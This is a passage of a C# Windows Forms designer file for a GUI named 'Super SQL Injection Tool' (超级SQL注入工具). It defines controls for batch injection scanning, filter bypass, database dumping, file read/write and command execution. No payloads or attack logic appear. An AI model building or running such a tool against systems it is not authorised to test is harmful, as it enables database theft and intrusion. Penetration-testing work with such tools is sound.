this.col_param.Text = "注入参数"; + // + // col_injectionType + // + this.col_injectionType.Text = "注入类型"; + this.col_injectionType.Width = 65; + // + // col_injectionDB + // + this.col_injectionDB.Text = "数据库类型"; + this.col_injectionDB.Width = 75; + // + // col_mark + // + this.col_mark.Text = "备注"; + // + // scanInjection_cms + // + this.scanInjection_cms.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.scanInjection_cms_exportResult, + this.tsmi_tsmi_exortTestURL, + this.tsmi_tsmi_exortOldURL, + this.scanInjection_cms_copyURL, + this.scanInjection_cms_clearResult, + this.scanInjection_cms_delThisLine, + this.tsmi_openURL, + this.tsmi_tsmi_opentestURL}); + this.scanInjection_cms.Name = "scanInjection_cms"; + this.scanInjection_cms.Size = new System.Drawing.Size(149, 180); + // + // scanInjection_cms_exportResult + // + this.scanInjection_cms_exportResult.Name = "scanInjection_cms_exportResult"; + this.scanInjection_cms_exportResult.Size = new System.Drawing.Size(148, 22); + this.scanInjection_cms_exportResult.Text = "导出扫描结果"; + this.scanInjection_cms_exportResult.Click += new System.EventHandler(this.scanInjection_cms_exportResult_Click); + // + // tsmi_tsmi_exortTestURL + // + this.tsmi_tsmi_exortTestURL.Name = "tsmi_tsmi_exortTestURL"; + this.tsmi_tsmi_exortTestURL.Size = new System.Drawing.Size(148, 22); + this.tsmi_tsmi_exortTestURL.Text = "导出测试URL"; + this.tsmi_tsmi_exortTestURL.Click += new System.EventHandler(this.tsmi_tsmi_exortTestURL_Click); + // + // tsmi_tsmi_exortOldURL + // + this.tsmi_tsmi_exortOldURL.Name = "tsmi_tsmi_exortOldURL"; + this.tsmi_tsmi_exortOldURL.Size = new System.Drawing.Size(148, 22); + this.tsmi_tsmi_exortOldURL.Text = "导出原始URL"; + this.tsmi_tsmi_exortOldURL.Click += new System.EventHandler(this.tsmi_tsmi_exortOldURL_Click); + // + // scanInjection_cms_copyURL + // + this.scanInjection_cms_copyURL.Name = "scanInjection_cms_copyURL"; + this.scanInjection_cms_copyURL.Size = new System.Drawing.Size(148, 22); + this.scanInjection_cms_copyURL.Text = "复制URL"; + this.scanInjection_cms_copyURL.Click += new System.EventHandler(this.scanInjection_cms_copyURL_Click); + // + // scanInjection_cms_clearResult + // + this.scanInjection_cms_clearResult.Name = "scanInjection_cms_clearResult"; + this.scanInjection_cms_clearResult.Size = new System.Drawing.Size(148, 22); + this.scanInjection_cms_clearResult.Text = "清空结果"; + this.scanInjection_cms_clearResult.Click += new System.EventHandler(this.scanInjection_cms_clearResult_Click); + // + // scanInjection_cms_delThisLine + // + this.scanInjection_cms_delThisLine.Name = "scanInjection_cms_delThisLine"; + this.scanInjection_cms_delThisLine.Size = new System.Drawing.Size(148, 22); + this.scanInjection_cms_delThisLine.Text = "删除选中行"; + this.scanInjection_cms_delThisLine.Click += new System.EventHandler(this.scanInjection_cms_delThisLine_Click); + // + // tsmi_openURL + // + this.tsmi_openURL.Name = "tsmi_openURL"; + this.tsmi_openURL.Size = new System.Drawing.Size(148, 22); + this.tsmi_openURL.Text = "打开原始URL"; + this.tsmi_openURL.Click += new System.EventHandler(this.tsmi_openURL_Click); + // + // tsmi_tsmi_opentestURL + // + this.tsmi_tsmi_opentestURL.Name = "tsmi_tsmi_opentestURL"; + this.tsmi_tsmi_opentestURL.Size = new System.Drawing.Size(148, 22); + this.tsmi_tsmi_opentestURL.Text = "打开测试URL"; + this.tsmi_tsmi_opentestURL.Click += new System.EventHandler(this.tsmi_tsmi_opentestURL_Click); + // + // groupBox12 + // + this.groupBox12.Controls.Add(this.scanInect_chk_isSpider); + this.groupBox12.Controls.Add(this.scanInect_chk_scanError); + this.groupBox12.Controls.Add(this.scanInjection_btn_spider); + this.groupBox12.Controls.Add(this.scanInjection_btn_scan); + this.groupBox12.Controls.Add(this.scanInjection_importDomains); + this.groupBox12.Controls.Add(this.scanInjection_scanedURLSCount); + this.groupBox12.Controls.Add(this.scanInjection_txt_domainsPath); + this.groupBox12.Controls.Add(this.scanInjection_findURLSCount); + this.groupBox12.Controls.Add(this.label20); + this.groupBox12.Controls.Add(this.label30); + this.groupBox12.Controls.Add(this.label22); + this.groupBox12.Controls.Add(this.label26); + this.groupBox12.Controls.Add(this.scanInjection_domainsCount); + this.groupBox12.Controls.Add(this.scanInjection_scanedDomainCount); + this.groupBox12.Controls.Add(this.label25); + this.groupBox12.Dock = System.Windows.Forms.DockStyle.Top; + this.groupBox12.Location = new System.Drawing.Point(0, 0); + this.groupBox12.Name = "groupBox12"; + this.groupBox12.Size = new System.Drawing.Size(802, 95); + this.groupBox12.TabIndex = 21; + this.groupBox12.TabStop = false; + this.groupBox12.Text = " "; + // + // scanInect_chk_isSpider + // + this.scanInect_chk_isSpider.AutoSize = true; + this.scanInect_chk_isSpider.Checked = true; + this.scanInect_chk_isSpider.CheckState = System.Windows.Forms.CheckState.Checked; + this.scanInect_chk_isSpider.Location = new System.Drawing.Point(329, 26); + this.scanInect_chk_isSpider.Name = "scanInect_chk_isSpider"; + this.scanInect_chk_isSpider.Size = new System.Drawing.Size(96, 16); + this.scanInect_chk_isSpider.TabIndex = 19; + this.scanInect_chk_isSpider.Text = "是否爬行一次"; + this.scanInect_chk_isSpider.UseVisualStyleBackColor = true; + // + // scanInect_chk_scanError + // + this.scanInect_chk_scanError.AutoSize = true; + this.scanInect_chk_scanError.Location = new System.Drawing.Point(490, 25); + this.scanInect_chk_scanError.Name = "scanInect_chk_scanError"; + this.scanInect_chk_scanError.Size = new System.Drawing.Size(84, 16); + this.scanInect_chk_scanError.TabIndex = 20; + this.scanInect_chk_scanError.Text = "只扫错误型"; + this.scanInect_chk_scanError.UseVisualStyleBackColor = true; + // + // scanInjection_btn_spider + // + this.scanInjection_btn_spider.Location = new System.Drawing.Point(703, 16); + this.scanInjection_btn_spider.Name = "scanInjection_btn_spider"; + this.scanInjection_btn_spider.Size = new System.Drawing.Size(75, 23); + this.scanInjection_btn_spider.TabIndex = 1; + this.scanInjection_btn_spider.Text = "爬行链接"; + this.scanInjection_btn_spider.UseVisualStyleBackColor = true; + this.scanInjection_btn_spider.Click += new System.EventHandler(this.scanInjection_btn_spider_Click); + // + // scanInjection_btn_scan + // + this.scanInjection_btn_scan.Location = new System.Drawing.Point(703, 57); + this.scanInjection_btn_scan.Name = "scanInjection_btn_scan"; + this.scanInjection_btn_scan.Size = new System.Drawing.Size(75, 23); + this.scanInjection_btn_scan.TabIndex = 1; + this.scanInjection_btn_scan.Text = "扫描注入"; + this.scanInjection_btn_scan.UseVisualStyleBackColor = true; + this.scanInjection_btn_scan.Click += new System.EventHandler(this.scanInjection_btn_scan_Click); + // + // scanInjection_importDomains + // + this.scanInjection_importDomains.Location = new System.Drawing.Point(183, 22); + this.scanInjection_importDomains.Name = "scanInjection_importDomains"; + this.scanInjection_importDomains.Size = new System.Drawing.Size(61, 23); + this.scanInjection_importDomains.TabIndex = 2; + this.scanInjection_importDomains.Text = "导入"; + this.scanInjection_importDomains.UseVisualStyleBackColor = true; + this.scanInjection_importDomains.Click += new System.EventHandler(this.scanInjection_importDomains_Click); + // + // scanInjection_scanedURLSCount + // + this.scanInjection_scanedURLSCount.AutoSize = true; + this.scanInjection_scanedURLSCount.Location = new System.Drawing.Point(562, 66); + this.scanInjection_scanedURLSCount.Name = "scanInjection_scanedURLSCount"; + this.scanInjection_scanedURLSCount.Size = new System.Drawing.Size(11, 12); + this.scanInjection_scanedURLSCount.TabIndex = 16; + this.scanInjection_scanedURLSCount.Text = "0"; + // + // scanInjection_txt_domainsPath + // + this.scanInjection_txt_domainsPath.Location = new System.Drawing.Point(66, 23); + this.scanInjection_txt_domainsPath.Name = "scanInjection_txt_domainsPath"; + this.scanInjection_txt_domainsPath.Size = new System.Drawing.Size(111, 21); + this.scanInjection_txt_domainsPath.TabIndex = 3; + // + // scanInjection_findURLSCount + // + this.scanInjection_findURLSCount.AutoSize = true; + this.scanInjection_findURLSCount.Location = new System.Drawing.Point(407, 67); + this.scanInjection_findURLSCount.Name = "scanInjection_findURLSCount"; + this.scanInjection_findURLSCount.Size = new System.Drawing.Size(11, 12); + this.scanInjection_findURLSCount.TabIndex = 16; + this.scanInjection_findURLSCount.Text = "0"; + // + // label20 + // + this.label20.AutoSize = true; + this.label20.Location = new System.Drawing.Point(26, 26); + this.label20.Name = "label20"; + this.label20.Size = new System.Drawing.Size(35, 12); + this.label20.TabIndex = 4; + this.label20.Text = "URL:"; + // + // label30 + // + this.label30.AutoSize = true; + this.label30.Location = new System.Drawing.Point(488, 66); + this.label30.Name = "label30"; + this.label30.Size = new System.Drawing.Size(71, 12); + this.label30.TabIndex = 15; + this.label30.Text = "已扫描URL:"; + // + // label22 + // + this.label22.AutoSize = true; + this.label22.Location = new System.Drawing.Point(26, 66); + this.label22.Name = "label22"; + this.label22.Size = new System.Drawing.Size(95, 12); + this.label22.TabIndex = 11; + this.label22.Text = "域名或URL总数:"; + // + // label26 + // + this.label26.AutoSize = true; + this.label26.Location = new System.Drawing.Point(327, 67); + this.label26.Name = "label26"; + this.label26.Size = new System.Drawing.Size(71, 12); + this.label26.TabIndex = 15; + this.label26.Text = "待扫描URL:"; + // + // scanInjection_domainsCount + // + this.scanInjection_domainsCount.AutoSize = true; + this.scanInjection_domainsCount.Location = new System.Drawing.Point(127, 67); + this.scanInjection_domainsCount.Name = "scanInjection_domainsCount"; + this.scanInjection_domainsCount.Size = new System.Drawing.Size(11, 12); + this.scanInjection_domainsCount.TabIndex = 12; + this.scanInjection_domainsCount.Text = "0"; + // + // scanInjection_scanedDomainCount + // + this.scanInjection_scanedDomainCount.AutoSize = true; + this.scanInjection_scanedDomainCount.Location = new System.Drawing.Point(233, 67); + this.scanInjection_scanedDomainCount.Name = "scanInjection_scanedDomainCount"; + this.scanInjection_scanedDomainCount.Size = new System.Drawing.Size(11, 12); + this.scanInjection_scanedDomainCount.TabIndex = 14; + this.scanInjection_scanedDomainCount.Text = "0"; + // + // label25 + // + this.label25.AutoSize = true; + this.label25.Location = new System.Drawing.Point(177, 67); + this.label25.Name = "label25"; + this.label25.Size = new System.Drawing.Size(53, 12); + this.label25.TabIndex = 13; + this.label25.Text = "已爬行:"; + // + // statusStrip1 + // + this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.toolStripStatusLabel1, + this.status_lbl_time, + this.toolStripStatusLabel2, + this.status_lbl_threadStatus, + this.toolStripStatusLabel3, + this.toolStripStatusLabel4, + this.status_lbl_dbsCount, + this.toolStripStatusLabel5, + this.status_lbl_tableCount, + this.toolStripStatusLabel6, + this.status_lbl_dataCount, + this.toolStripStatusLabel7, + this.status_lbl_runStatus, + this.toolStripStatusLabel8, + this.status_lbl_all_status, + this.toolStripStatusLabel11, + this.lbl_packsCount}); + this.statusStrip1.Location = new System.Drawing.Point(0, 659); + this.statusStrip1.Name = "statusStrip1"; + this.statusStrip1.Size = new System.Drawing.Size(834, 22); + this.statusStrip1.TabIndex = 4; + this.statusStrip1.Text = "statusStrip1"; + // + // toolStripStatusLabel1 + // + this.toolStripStatusLabel1.Name = "toolStripStatusLabel1"; + this.toolStripStatusLabel1.Size = new System.Drawing.Size(68, 17); + this.toolStripStatusLabel1.Text = "运行时间:"; + // + // status_lbl_time + // + this.status_lbl_time.Name = "status_lbl_time"; + this.status_lbl_time.Size = new System.Drawing.Size(15, 17); + this.status_lbl_time.Text = "0"; + // + // toolStripStatusLabel2 + // + this.toolStripStatusLabel2.Name = "toolStripStatusLabel2"; + this.toolStripStatusLabel2.Size = new System.Drawing.Size(68, 17); + this.toolStripStatusLabel2.Text = "当前线程:"; + // + // status_lbl_threadStatus + // + this.status_lbl_threadStatus.Name = "status_lbl_threadStatus"; + this.status_lbl_threadStatus.Size = new System.Drawing.Size(27, 17); + this.status_lbl_threadStatus.Text = "0/0"; + // + // toolStripStatusLabel3 + // + this.toolStripStatusLabel3.Name = "toolStripStatusLabel3"; + this.toolStripStatusLabel3.Size = new System.Drawing.Size(0, 17); + // + // toolStripStatusLabel4 + // + this.toolStripStatusLabel4.Name = "toolStripStatusLabel4"; + this.toolStripStatusLabel4.Size = new System.Drawing.Size(56, 17); + this.toolStripStatusLabel4.Text = "数据库:"; + // + // status_lbl_dbsCount + // + this.status_lbl_dbsCount.Name = "status_lbl_dbsCount"; + this.status_lbl_dbsCount.Size = new System.Drawing.Size(15, 17); + this.status_lbl_dbsCount.Text = "0"; + // + // toolStripStatusLabel5 + // + this.toolStripStatusLabel5.Name = "toolStripStatusLabel5"; + this.toolStripStatusLabel5.Size = new System.Drawing.Size(56, 17); + this.toolStripStatusLabel5.Text = "表数量:"; + // + // status_lbl_tableCount + // + this.status_lbl_tableCount.Name = "status_lbl_tableCount"; + this.status_lbl_tableCount.Size = new System.Drawing.Size(15, 17); + this.status_lbl_tableCount.Text = "0"; + // + // toolStripStatusLabel6 + // + this.toolStripStatusLabel6.Name = "toolStripStatusLabel6"; + this.toolStripStatusLabel6.Size = new System.Drawing.Size(68, 17); + this.toolStripStatusLabel6.Text = "数据获取:"; + // + // status_lbl_dataCount + // + this.status_lbl_dataCount.Name = "status_lbl_dataCount"; + this.status_lbl_dataCount.Size = new System.Drawing.Size(15, 17); + this.status_lbl_dataCount.Text = "0"; + // + // toolStripStatusLabel7 + // + this.toolStripStatusLabel7.Name = "toolStripStatusLabel7"; + this.toolStripStatusLabel7.Size = new System.Drawing.Size(44, 17); + this.toolStripStatusLabel7.Text = "状态:"; + // + // status_lbl_runStatus + // + this.status_lbl_runStatus.Name = "status_lbl_runStatus"; + this.status_lbl_runStatus.Size = new System.Drawing.Size(44, 17); + this.status_lbl_runStatus.Text = "未开始"; + // + // toolStripStatusLabel8 + // + this.toolStripStatusLabel8.Name = "toolStripStatusLabel8"; + this.toolStripStatusLabel8.Size = new System.Drawing.Size(44, 17); + this.toolStripStatusLabel8.Text = "进度:"; + // + // status_lbl_all_status + // + this.status_lbl_all_status.Name = "status_lbl_all_status"; + this.status_lbl_all_status.Size = new System.Drawing.Size(27, 17); + this.status_lbl_all_status.Text = "0/0"; + // + // toolStripStatusLabel11 + // + this.toolStripStatusLabel11.Name = "toolStripStatusLabel11"; + this.toolStripStatusLabel11.Size = new System.Drawing.Size(56, 17); + this.toolStripStatusLabel11.Text = "已发包:"; + // + // lbl_packsCount + // + this.lbl_packsCount.Name = "lbl_packsCount"; + this.lbl_packsCount.Size = new System.Drawing.Size(15, 17); + this.lbl_packsCount.Text = "0"; + // + // timer_status + // + this.timer_status.Enabled = true; + this.timer_status.Interval = 1000; + this.timer_status.Tick += new System.EventHandler(this.timer_status_Tick); + // + // timer_scanInjection + // + this.timer_scanInjection.Enabled = true; + this.timer_scanInjection.Interval = 1000; + this.timer_scanInjection.Tick += new System.EventHandler(this.timer_scanInjection_Tick); + // + // cbox_bypass_urlencode_count + // + this.cbox_bypass_urlencode_count.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cbox_bypass_urlencode_count.FormattingEnabled = true; + this.cbox_bypass_urlencode_count.Items.AddRange(new object[] { + "一次", + "二次"}); + this.cbox_bypass_urlencode_count.Location = new System.Drawing.Point(329, 23); + this.cbox_bypass_urlencode_count.Name = "cbox_bypass_urlencode_count"; + this.cbox_bypass_urlencode_count.Size = new System.Drawing.Size(78, 20); + this.cbox_bypass_urlencode_count.TabIndex = 23; + this.cbox_bypass_urlencode_count.TextChanged += new System.EventHandler(this.cbox_bypass_urlencode_count_TextChanged); + // + // Main + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(834, 681); + this.Controls.Add(this.statusStrip1); + this.Controls.Add(this.gb_logo); + this.Controls.Add(this.mytab); + this.Controls.Add(this.gb_basic); + this.Controls.Add(this.menuStrip_main); + this.MainMenuStrip = this.menuStrip_main; + this.Name = "Main"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "超级SQL注入工具 v1.0 正式版 20160525"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Main_FormClosing); + this.Shown += new System.EventHandler(this.Main_Shown); + this.gb_basic.ResumeLayout(false); + this.gb_basic.PerformLayout(); + this.menuStrip_main.ResumeLayout(false); + this.menuStrip_main.PerformLayout(); + this.gb_logo.ResumeLayout(false); + this.gb_logo.PerformLayout(); + this.tab_logCenter.ResumeLayout(false); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.groupBox5.ResumeLayout(false); + this.log_cms_dataifo.ResumeLayout(false); + this.groupBox6.ResumeLayout(false); + this.tabControl2.ResumeLayout(false); + this.tabPage3.ResumeLayout(false); + this.tabPage3.PerformLayout(); + this.tabPage4.ResumeLayout(false); + this.tabPage4.PerformLayout(); + this.tabPage1.ResumeLayout(false); + this.tab_file.ResumeLayout(false); + this.tab_file.PerformLayout(); + this.groupBox7.ResumeLayout(false); + this.groupBox7.PerformLayout(); + this.tab_dataCenter.ResumeLayout(false); + this.tabC_dataCenter.ResumeLayout(false); + this.tab_vers.ResumeLayout(false); + this.data_cms_vers.ResumeLayout(false); + this.tab_dbs.ResumeLayout(false); + this.spc_dbs.Panel1.ResumeLayout(false); + this.spc_dbs.Panel1.PerformLayout(); + this.spc_dbs.Panel2.ResumeLayout(false); + this.spc_dbs.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.spc_dbs)).EndInit(); + this.spc_dbs.ResumeLayout(false); + this.data_dbs_ts.ResumeLayout(false); + this.data_dbs_ts.PerformLayout(); + this.groupBox2.ResumeLayout(false); + this.data_cms_dbs.ResumeLayout(false); + this.toolStrip1.ResumeLayout(false); + this.toolStrip1.PerformLayout(); + this.groupBox4.ResumeLayout(false); + this.cms_data_dbs_lvw_data.ResumeLayout(false); + this.tab_injectCenter.ResumeLayout(false); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + this.cms_dataPacks.ResumeLayout(false); + this.groupBox3.ResumeLayout(false); + this.groupBox3.PerformLayout(); + this.groupBox16.ResumeLayout(false); + this.groupBox16.PerformLayout(); + this.groupBox15.ResumeLayout(false); + this.groupBox15.PerformLayout(); + this.mytab.ResumeLayout(false); + this.tab_cmd.ResumeLayout(false); + this.tab_cmd.PerformLayout(); + this.groupBox8.ResumeLayout(false); + this.groupBox8.PerformLayout(); + this.tab_bypass.ResumeLayout(false); + this.groupBox9.ResumeLayout(false); + this.groupBox9.PerformLayout(); + this.bypass_lvw_replaceString_cms.ResumeLayout(false); + this.tab_encoding.ResumeLayout(false); + this.groupBox13.ResumeLayout(false); + this.groupBox13.PerformLayout(); + this.groupBox11.ResumeLayout(false); + this.groupBox11.PerformLayout(); + this.groupBox10.ResumeLayout(false); + this.groupBox10.PerformLayout(); + this.tab_scanInjection.ResumeLayout(false); + this.groupBox14.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + this.scanInjectionURL_cms.ResumeLayout(false); + this.scanInjection_cms.ResumeLayout(false); + this.groupBox12.ResumeLayout(false); + this.groupBox12.PerformLayout(); + this.statusStrip1.ResumeLayout(false); + this.statusStrip1.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.GroupBox gb_basic; + private System.Windows.Forms.TextBox txt_basic_host; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.MenuStrip menuStrip_main; + private System.Windows.Forms.ToolStripMenuItem tsmi_menu; + private System.Windows.Forms.ToolStripMenuItem tsmi_openConfig; + private System.Windows.Forms.ToolStripMenuItem tsmi_saveConfig; + private System.Windows.Forms.ToolStripMenuItem tsmi_tools; + private System.Windows.Forms.ToolStripMenuItem 脱裤助手ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem tsmi_help; + private System.Windows.Forms.ToolStripMenuItem tsmi_readme; + private System.Windows.Forms.ToolStripMenuItem tsmi_about; + private System.Windows.Forms.ToolStripMenuItem tsmi_update; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.ComboBox cbox_basic_dbType; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.ComboBox cbox_basic_injectType; + private System.Windows.Forms.GroupBox gb_logo; + private System.Windows.Forms.TextBox txt_log; + private System.Windows.Forms.TextBox txt_basic_port; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button btn_autoInject; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.ComboBox cbox_basic_encoding; + private System.Windows.Forms.ComboBox cbox_basic_timeOut; + private System.Windows.Forms.ComboBox cbox_basic_reTryCount; + private System.Windows.Forms.ComboBox cbox_basic_threadSize; + private System.Windows.Forms.Button btn_exportConfig; + private System.Windows.Forms.TabPage tab_logCenter; + private System.Windows.Forms.TabPage tab_file; + private System.Windows.Forms.TabPage tab_dataCenter; + private System.Windows.Forms.TabPage tab_injectCenter; + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.GroupBox groupBox3; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.Button btn_inject_clearRequest; + private System.Windows.Forms.Button btn_inject_sendData; + private System.Windows.Forms.CheckBox chk_inject_foward_302; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Button btn_inject_setInject; + private System.Windows.Forms.TextBox txt_inject_key; + private System.Windows.Forms.TextBox txt_inject_unionColumnsCount; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.TextBox txt_inject_showColumn; + private System.Windows.Forms.TabControl mytab; + private System.Windows.Forms.GroupBox groupBox6; + private System.Windows.Forms.GroupBox groupBox5; + private System.Windows.Forms.ListView log_lvw_httpLog; + private System.Windows.Forms.ColumnHeader log_col_payload; + private System.Windows.Forms.TabControl tabControl2; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.TabPage tabPage4; + private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem tsmi_seting; + private System.Windows.Forms.ToolStripMenuItem tsmi_mustRead; + private System.Windows.Forms.Button btn_inject_setEncodingRange; + private System.Windows.Forms.ContextMenuStrip data_cms_vers; + private System.Windows.Forms.ToolStripMenuItem data_cms_tsmi_getVariable; + private System.Windows.Forms.ToolStripMenuItem data_cms_tsmi_stopGetVariable; + private System.Windows.Forms.ContextMenuStrip data_cms_dbs; + private System.Windows.Forms.ToolStripMenuItem data_dbs_tsmi_addDBS; + private System.Windows.Forms.ToolStripMenuItem data_dbs_tsmi_deleteNode; + private System.Windows.Forms.ToolStripMenuItem data_dbs_tsmi_getTableNames; + private System.Windows.Forms.ImageList myicon_list; + private System.Windows.Forms.TabControl tabC_dataCenter; + private System.Windows.Forms.TabPage tab_vers; + private System.Windows.Forms.ListView data_lvw_ver; + private System.Windows.Forms.ColumnHeader data_lvw_ver_verName; + private System.Windows.Forms.ColumnHeader data_lvw_ver_verValue; + private System.Windows.Forms.TabPage tab_dbs; + private System.Windows.Forms.ToolStrip data_dbs_ts; + private System.Windows.Forms.ToolStripButton data_dbs_tsl_getTables; + private System.Windows.Forms.ToolStripButton data_dbs_tsl_getColumns; + private System.Windows.Forms.GroupBox groupBox4; + private System.Windows.Forms.ListView data_dbs_lvw_data; + private System.Windows.Forms.GroupBox groupBox2; + private System.Windows.Forms.TreeView data_tvw_dbs; + private System.Windows.Forms.ColumnHeader log_col_code; + private System.Windows.Forms.ColumnHeader log_col_bodyLength; + private System.Windows.Forms.TextBox log_txt_request; + private System.Windows.Forms.TextBox log_txt_response; + private System.Windows.Forms.ColumnHeader log_col_index; + private System.Windows.Forms.TextBox txt_inject_request; + private System.Windows.Forms.ColumnHeader col_runtime; + private System.Windows.Forms.ContextMenuStrip log_cms_dataifo; + private System.Windows.Forms.ToolStripMenuItem data_cms_clearLog; + private System.Windows.Forms.ToolStripMenuItem data_dbs_tsmi_stopGetInfos; + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.SplitContainer spc_dbs; + private System.Windows.Forms.ToolStrip toolStrip1; + private System.Windows.Forms.ToolStripLabel toolStripLabel1; + private System.Windows.Forms.ToolStripTextBox data_dbs_txt_count; + private System.Windows.Forms.ToolStripButton data_dbs_tsl_getDatas; + private System.Windows.Forms.ToolStripButton data_dbs_tsl_exportDatas; + private System.Windows.Forms.ToolStripButton data_dbs_tsl_getDBS; + private System.Windows.Forms.ToolStripLabel toolStripLabel2; + private System.Windows.Forms.ToolStripComboBox data_dbs_cob_db_encoding; + private System.Windows.Forms.CheckBox chk_openURLEncoding; + private System.Windows.Forms.ToolStripMenuItem data_cms_tsmi_copyVerValue; + private System.Windows.Forms.TabPage tab_encoding; + private System.Windows.Forms.TabPage tab_cmd; + private System.Windows.Forms.CheckBox chk_useSSL; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.WebBrowser webBro_log; + private System.Windows.Forms.ToolStripLabel toolStripLabel3; + private System.Windows.Forms.ToolStripTextBox data_dbs_txt_start; + private System.Windows.Forms.ImageList imglist_database; + private System.Windows.Forms.ContextMenuStrip cms_data_dbs_lvw_data; + private System.Windows.Forms.ToolStripMenuItem data_dbs_lvw_tsmi_stop; + private System.Windows.Forms.ToolStripMenuItem data_dbs_lvw_tsmi_copyLineData; + private System.Windows.Forms.CheckBox chk_inject_reverseKey; + private System.Windows.Forms.GroupBox groupBox7; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.TextBox file_txt_filePath; + private System.Windows.Forms.ComboBox file_cbox_readWrite; + private System.Windows.Forms.Button file_btn_start; + private System.Windows.Forms.TextBox file_txt_result; + private System.Windows.Forms.GroupBox groupBox8; + private System.Windows.Forms.Button cmd_btn_start; + private System.Windows.Forms.TextBox cmd_txt_cmd; + private System.Windows.Forms.Label label15; + private System.Windows.Forms.TextBox cmd_txt_result; + private System.Windows.Forms.StatusStrip statusStrip1; + private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1; + private System.Windows.Forms.ToolStripStatusLabel status_lbl_time; + private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel2; + private System.Windows.Forms.ToolStripStatusLabel status_lbl_threadStatus; + private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel3; + private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel4; + private System.Windows.Forms.ToolStripStatusLabel status_lbl_dbsCount; + private System.Windows.Forms.ToolStripStatusLabel status_lbl_tableCount; + private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel5; + private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel6; + private System.Windows.Forms.ToolStripStatusLabel status_lbl_dataCount; + private System.Windows.Forms.Timer timer_status; + private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel7; + private System.Windows.Forms.ToolStripStatusLabel status_lbl_runStatus; + private System.Windows.Forms.CheckBox cmd_chk_showCmdResult; + private System.Windows.Forms.TabPage tab_bypass; + private System.Windows.Forms.ContextMenuStrip bypass_lvw_replaceString_cms; + private System.Windows.Forms.ToolStripMenuItem bypass_delselect; + private System.Windows.Forms.Button injectConfig_btn_checkKey; + private System.Windows.Forms.ColumnHeader log_col_sleepTime; + private System.Windows.Forms.TextBox encode_txt_result; + private System.Windows.Forms.TextBox encode_txt_input; + private System.Windows.Forms.ComboBox encode_cbox_decode; + private System.Windows.Forms.ComboBox encode_cbox_encode; + private System.Windows.Forms.TabPage tab_scanInjection; + private System.Windows.Forms.Button inject_btn_autoFindKey; + private System.Windows.Forms.Button scanInjection_btn_spider; + private System.Windows.Forms.Label label20; + private System.Windows.Forms.TextBox scanInjection_txt_domainsPath; + private System.Windows.Forms.Button scanInjection_importDomains; + private System.Windows.Forms.ListView scanInjection_lvw_result; + private System.Windows.Forms.ColumnHeader col_index; + private System.Windows.Forms.ColumnHeader col_injectionType; + private System.Windows.Forms.ColumnHeader col_param; + private System.Windows.Forms.ColumnHeader col_testURL; + private System.Windows.Forms.Label scanInjection_domainsCount; + private System.Windows.Forms.Label label22; + private System.Windows.Forms.Label scanInjection_scanedURLSCount; + private System.Windows.Forms.Label scanInjection_findURLSCount; + private System.Windows.Forms.Label label30; + private System.Windows.Forms.Label label26; + private System.Windows.Forms.Label scanInjection_scanedDomainCount; + private System.Windows.Forms.Label label25; + private System.Windows.Forms.Timer timer_scanInjection; + private System.Windows.Forms.ContextMenuStrip scanInjection_cms; + private System.Windows.Forms.ToolStripMenuItem scanInjection_cms_exportResult; + private System.Windows.Forms.ToolStripMenuItem scanInjection_cms_copyURL; + private System.Windows.Forms.ColumnHeader col_mark; + private System.Windows.Forms.ToolStripMenuItem scanInjection_cms_clearResult; + private System.Windows.Forms.ToolStripMenuItem scanInjection_cms_delThisLine; + private System.Windows.Forms.SplitContainer splitContainer2; + private System.Windows.Forms.ListBox scanInject_lsb_links; + private System.Windows.Forms.CheckBox scanInect_chk_isSpider; + private System.Windows.Forms.CheckBox scanInect_chk_scanError; + private System.Windows.Forms.GroupBox groupBox11; + private System.Windows.Forms.GroupBox groupBox10; + private System.Windows.Forms.Label label23; + private System.Windows.Forms.Label label21; + private System.Windows.Forms.GroupBox groupBox13; + private System.Windows.Forms.ToolStripMenuItem data_dbs_tsmi_addTableOrColumn; + private System.Windows.Forms.Button scanInjection_btn_scan; + private System.Windows.Forms.GroupBox groupBox14; + private System.Windows.Forms.GroupBox groupBox12; + private 